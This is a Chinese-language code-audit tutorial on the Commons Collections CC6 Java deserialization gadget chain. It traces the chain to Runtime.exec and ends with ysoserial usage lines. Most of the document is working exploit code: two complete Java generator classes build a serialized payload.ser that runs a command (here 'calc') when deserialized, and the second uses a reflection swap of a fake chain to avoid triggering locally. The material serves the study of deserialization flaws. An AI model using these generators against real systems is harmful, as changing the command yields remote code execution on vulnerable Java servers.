代码审计 | CC6 链 —— 反向构造 payload 与 ysoserial

HashSet.readObject()
  → HashMap.put()
    → HashMap.hash(key)
      → TiedMapEntry.hashCode()
        → TiedMapEntry.getValue()
          → LazyMap.get()
            → ChainedTransformer.transform()
              → InvokerTransformer.transform()
                → Runtime.exec()

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod",
        new Class[]{String.class, Class[].class},
        new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke",
        new Class[]{Object.class, Object[].class},
        new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec",
        new Class[]{String.class},
        new Object[]{"calc"})
};
ChainedTransformer chain = new ChainedTransformer(transformers);

public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = factory.transform(key); // 触发我们的 chain
        super.map.put(key, value);
        return value;
    }
    return super.map.get(key);
}

Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chain);

public Object getValue() {
    return map.get(key); // 直接调用传入 map 的 get 方法
}

TiedMapEntry entry = new TiedMapEntry(lazyMap, "xxx");
entry.getValue(); // 此时可以直接触发

// HashSet.readObject() 简化逻辑
for (int i = 0; i < size; i++) {
    E e = (E) s.readObject();
    map.put(e, PRESENT); // map 是 HashMap，e 是我们的 TiedMapEntry
}

ChainedTransformer chain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "xxx");
HashSet hashSet = new HashSet();

hashSet.add(entry);

ChainedTransformer chain = new ChainedTransformer(transformers);
​
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chain);
​
TiedMapEntry entry = new TiedMapEntry(lazyMap, "xxx");
​
HashSet hashSet = new HashSet();
hashSet.add(entry); // ⚠️ 这里就执行了 calc，计算器直接在本机弹了
​
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.ser"))) {
    oos.writeObject(hashSet);
}

public Object get(Object key) {
    // 关键判断：检查 map 仓库里是否已经有了这个 key
    if (map.containsKey(key) == false) {
        // 只有仓库里【没有】这个 key，才会触发 transform
        Object value = factory.transform(key);
        // 进货完成后，把结果存入仓库（产生缓存）
        map.put(key, value);
        return value;
    }
    // 如果仓库里【已经有】这个 key 了，直接返回旧值
    // 此时根本不会走到上面的 transform() 逻辑
    return map.get(key);
}

hashSet.add(entry); // 此时触发命令，innerMap 产生缓存
innerMap.clear();   // 清空缓存，之后序列化进去的 innerMap 是空的

public class CC6Simple {
    public static void main(String[] args) throws Exception {
        // 1. 真正的恶意链
        Transformer[] trueTransformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec",
                new Class[]{String.class},
                new Object[]{"calc"})
        };
        ChainedTransformer trueChain = new ChainedTransformer(trueTransformers);

        // 2. 构造 LazyMap
        Map innerMap = new HashMap();
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(innerMap, trueChain);

        // 3. 创建 TiedMapEntry 并添加进 HashSet
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "xxx");
        HashSet hashSet = new HashSet();
        hashSet.add(entry); // ⚠️ 此时会弹一次计算器，innerMap 产生缓存

        // 4. 清空缓存，否则反序列化时 LazyMap.get 会直接返回旧值
        innerMap.clear();

        // 5. 序列化
        try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.ser"))) {
            oos.writeObject(hashSet);
        }
        System.out.println("payload.ser 生成完毕");
    }
}

public class CC6Generator {
    public static void main(String[] args) throws Exception {
        // 1. 真正的恶意链条
        Transformer[] trueTransformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec",
                new Class[]{String.class},
                new Object[]{"calc"})
        };
        ChainedTransformer trueChain = new ChainedTransformer(trueTransformers);

        // 2. 构造假链条——防止本地弹窗
        Transformer fakeChain = new ConstantTransformer(1);
        // 也可以用 ChainedTransformer 包一个 ConstantTransformer(1) 的数组
        //Transformer[] fakeTransformers = new Transformer[]{ new ConstantTransformer(1) };
        //ChainedTransformer fakeChain = new ChainedTransformer(fakeTransformers);

        // 3. 组装 LazyMap 和 TiedMapEntry，绑定的是假链
        Map innerMap = new HashMap();
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(innerMap, fakeChain);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "pwn");

        // 4. 添加进 HashSet，触发假链（innerMap 产生缓存 {"pwn": 1}，但不弹窗）
        HashSet hashSet = new HashSet();
        hashSet.add(entry);

        // ===== 反射调包环节 =====

        // 5. 反射：将 LazyMap 的 factory 字段从假链换成真链
        Field factoryField = LazyMap.class.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap, trueChain);

        // 6. 清空 innerMap 缓存
        // 必须清空，否则反序列化时 containsKey("pwn") 成立，直接返回旧值，不触发命令
        innerMap.clear();

        // ===== 序列化输出 =====
        try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.ser"))) {
            oos.writeObject(hashSet);
        }
        System.out.println("Payload 生成完毕！序列化阶段未触发，缓存已清空。");
    }
}

java -jar ysoserial.jar CommonsCollections6 "calc" > cc6.ser

java -jar ysoserial.jar [利用链名称] '[要执行的命令]' > payload.bin
​
# 例如：
java -jar ysoserial.jar CommonsCollections6 "calc" > cc6.ser